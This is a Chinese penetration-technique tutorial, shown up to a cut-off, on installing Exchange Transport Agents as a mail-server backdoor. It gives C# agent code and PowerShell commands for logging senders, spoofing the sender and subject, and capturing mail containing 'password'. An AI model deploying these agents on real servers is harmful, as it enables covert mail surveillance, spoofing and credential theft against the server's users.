专栏名称: 嘶吼专业版
为您带来每日最新最专业的互联网安全专业信息。
目录
相关文章推荐
北京新闻广播  ·  北京东四环,开始大修! ·  昨天  
北京新闻广播  ·  北京东四环,开始大修! ·  昨天  
煲都黎川  ·  紧急公告!抚州已出现! ·  昨天  
煲都黎川  ·  紧急公告!抚州已出现! ·  昨天  
漳视新闻  ·  刚刚通知:退钱了!退钱了!退钱了! ·  昨天  
漳视新闻  ·  刚刚通知:退钱了!退钱了!退钱了! ·  昨天  
内蒙古市场监管  ·  市场监管总局连夜部署全面彻查3·15晚会曝光 ... ·  昨天  
51好读  ›  专栏  ›  嘶吼专业版

渗透技巧——使用Transport Agent作为Exchange后门

嘶吼专业版  · 公众号  · 互联网安全  · 2020-07-22 11:48

正文

0x00 前言

ESET研究发现了一个专门针对Microsoft Exchange的恶意软件LightNeuron,使用一种从未见过的持久性技术:Transport Agent,能够实现以下功能:

· 阅读和修改通过邮件服务器的任何电子邮件

· 撰写并发送新电子邮件

· 阻止任何电子邮件。原始收件人将不会收到电子邮件

参考资料:

https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/

https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

本文仅在技术研究的角度,介绍Transport Agent的用法,编写代码实现不同的功能,结合利用思路给出防御建议。

0x01 简介

本文将要介绍以下内容:

· Transport Agent基础知识

· Transport Agent的用法

· 使用Transport Agent监控邮件

· 使用Transport Agent修改邮件

· 使用Transport Agent删除邮件

· 使用Transport Agent启动程序

· 防御检测

0x02 Transport Agent基础知识

参考资料

https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/dd877026(v=exchg.140)

1.Transport Agent

可以用来扩展和修改Exchange的传输行为,以自定义消息的接受,拒绝,路由和传递,以及在各种类型的内容之间进行转换。

简单理解,Transport Agents作为Exchange的插件,能够对Exchange的传输行为进行扩展和修改,例如读取、修改和删除传输的每一份邮件。

2..NET Framework Extensions for Exchange

Microsoft.Exchange.Data命名空间提供了便于执行以下任务的类型:

· 读写MIME数据

· 将消息正文和其他文本从一种编码转换为另一种编码

· 读取和写入TNEF数据

· 读写日历和约会

· 转换消息格式;例如,从HTML到RTF

· 响应SMTP事件

· 响应路由事件

简单理解,使用Microsoft.Exchange.Data命名空间能够扩展和修改Exchange的传输行为。

0x03 Transport Agent的使用

参考资料:

https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/aa579185(v=exchg.140)?redirectedfrom=MSDN

C#开发,使用Microsoft.Exchange.Data命名空间。

使用VisualStudio,新建C#项目,项目类型选择类库,引用以下dll:

· Microsoft.Exchange.Data.Common.dll

· Microsoft.Exchange.Data.Transport.dll

dll可从Exchange服务器上获得,位置为%ExchangeInstallPath%Public,例如C:\Program Files\Microsoft\Exchange Server\V15\Public

测试代码如下:

using System;

using System.Collections.Generic;

using System.Text;

using Microsoft.Exchange.Data.Transport;

using Microsoft.Exchange.Data.Transport.Smtp;


namespace MyAgents

{

public sealed class MyAgentFactory : SmtpReceiveAgentFactory

{

public override SmtpReceiveAgent CreateAgent(SmtpServer server)

{

return new MyAgent();

}

}

public class MyAgent : SmtpReceiveAgent

{

public MyAgent()

{

this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);

}

private void MyEndOfDataHandler (ReceiveMessageEventSource source, EndOfDataEventArgs e)


{

// The following line appends text to the subject of the message that caused the event.

e.MailItem.Message.Subject += " - this text appended by MyAgent";

}

}

}

编译生成MyAgent.dll

将MyAgent.dll复制到Exchange服务器,保存路径为C:\test\MyAgent.dll

使用Exchange Server PowerShell安装Transport Agent,命令如下:

Install-TransportAgent -Name "MySpamFilterAgent" -TransportAgentFactory "MyAgents.MyAgentFactory"  -AssemblyPath "C:\test\MyAgent.dll"

Enable-TransportAgent MySpamFilterAgent

Restart-Service MSExchangeTransport

需要重启服务MSExchangeTransport才能够生效。

卸载Transport Agent的命令:

Uninstall-TransportAgent MySpamFilterAgent -Confirm:$false

Restart-Service MSExchangeTransport

查看这个Transport Agent的命令:

Get-TransportAgent MySpamFilterAgent|fl

查看所有Transport Agent的命令:

Get-TransportAgent |fl

Transport Agent安装成功后,使用任意用户发送邮件,邮件标题被修改,测试成功。

0x04 使用Transport Agent实现不同的功能

示例1

监控邮件,记录发件人和时间,文件保存为c:\test\log.txt

代码如下:

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using Microsoft.Exchange.Data.Transport;

using Microsoft.Exchange.Data.Transport.Smtp;


namespace MyAgents

{

public sealed class MyAgentFactory : SmtpReceiveAgentFactory

{

public override SmtpReceiveAgent CreateAgent(SmtpServer server)

{

return new MyAgent();

}

}

public class MyAgent : SmtpReceiveAgent

{

public MyAgent()

{

this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);

}

private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)


{

using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true))

{

file.WriteLine("Sender:" + e.MailItem.Message.Sender.SmtpAddress);

file.WriteLine("Date:" + e.MailItem.Message.Date);

}

}

}

}

示例2

修改邮件的发件人和主题。

代码如下:

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using Microsoft.Exchange.Data.Transport;

using Microsoft.Exchange.Data.Transport.Smtp;


namespace MyAgents

{

public sealed class MyAgentFactory : SmtpReceiveAgentFactory

{

public override SmtpReceiveAgent CreateAgent(SmtpServer server)

{

return new MyAgent();

}

}

public class MyAgent : SmtpReceiveAgent

{

public MyAgent()

{

this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);

}

private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)


{

// The following line appends text to the subject of the message that caused the event.

e.MailItem.Message.Subject += " - this text appended by MyAgent";

e.MailItem.Message.From.DisplayName = "test2";

e.MailItem.Message.From.SmtpAddress = "[email protected]";

e.MailItem.Message.Sender.DisplayName = "test2";

e.MailItem.Message.Sender.SmtpAddress = "[email protected]";

}

}

}

示例3

监控邮件,如果邮件中包括字符串password(不区分大小写),则将这份邮件保存至c:\test,文件名称为

代码如下:

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using Microsoft.Exchange.Data.Transport;

using Microsoft.Exchange.Data.Transport.Smtp;







请到「今天看啥」查看全文